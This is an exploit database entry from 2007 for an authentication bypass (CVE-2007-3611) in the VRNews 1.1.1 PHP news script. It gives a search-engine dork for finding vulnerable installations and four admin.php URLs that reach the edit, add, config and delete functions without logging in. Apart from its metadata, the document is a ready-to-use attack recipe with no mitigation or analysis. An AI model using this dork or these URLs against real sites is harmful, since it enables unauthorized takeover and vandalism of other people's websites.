VRNews 1.1.1 - 'admin.php' Remote Security Bypass

Author: R4M!
type: webapps
platform: php
port: 0
date_added: 2007-07-04
date_updated: 
verified: 1
codes: OSVDB-45787;CVE-2007-3611
tags: 
aliases: 
screenshot_url: 
application_url: 

VRNews v1.x <= /VRNews/admin.php Permission

Found by: R4M! - Rami@live.de

Dork: intitle:"vrnews v1"

Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm

Example:
1. /VRNews/admin.php?act=edit
2. /VRNews/admin.php?act=add
3. /VRNews/admin.php?act=config
4. /VRNews/admin.php?act=del

# milw0rm.com [2007-07-05]